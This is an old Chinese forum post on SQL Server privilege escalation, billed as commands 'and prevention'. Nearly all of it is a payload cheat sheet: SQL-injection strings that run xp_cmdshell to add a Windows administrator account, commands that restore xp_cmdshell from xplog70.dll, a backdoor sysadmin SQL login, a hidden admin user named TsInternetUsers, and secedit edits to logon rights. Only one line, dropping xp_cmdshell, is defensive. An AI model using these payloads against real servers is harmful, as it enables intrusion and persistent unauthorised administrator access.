布衣电脑常识-科学技术-布衣原始部落--SQL Server 提升权限相关命令及防范

『布衣生活网』 →『原始部落』→ 『布衣电脑常识』→ 『网站技术』→ 如何做好网站管理和安全

发表话题

您是本帖第 105 个阅读者

楼主: 老布衣发布时间:2008-07-15 08:02:59

SQL Server 提升权限相关命令及防范
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"--

程序代码开启cmdshell的SQL语句

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK

恢复xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK

否则上传xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'

堵上cmdshell的SQL语句
sp_dropextendedproc "xp_cmdshell"

DOS:
dir c:/
dir d:/
dir e:/

net user TsInternetUsers Password /add
net localGroup Administrators TsInternetUsers /add

备份恢复IPSEC

secedit /export /CFG c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf

SQL:
exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin

本文引用地址: http://free.yes81.net/yes81/view-1168.html
上一篇:seo常用工具|alex派名查询|关键词查询

没有相关记录!

站内回复

您还没有登录呢，请登陆后再来回复

设为首页 | 加入收藏 | 人才招聘 | 友情连接 | 广告服务 | 信息反馈 | 网站合作
© 2006 www.yes81.net [粤ICP备07015598号] QQ:326479192 626691162 Email:by81355#163.com

网上报警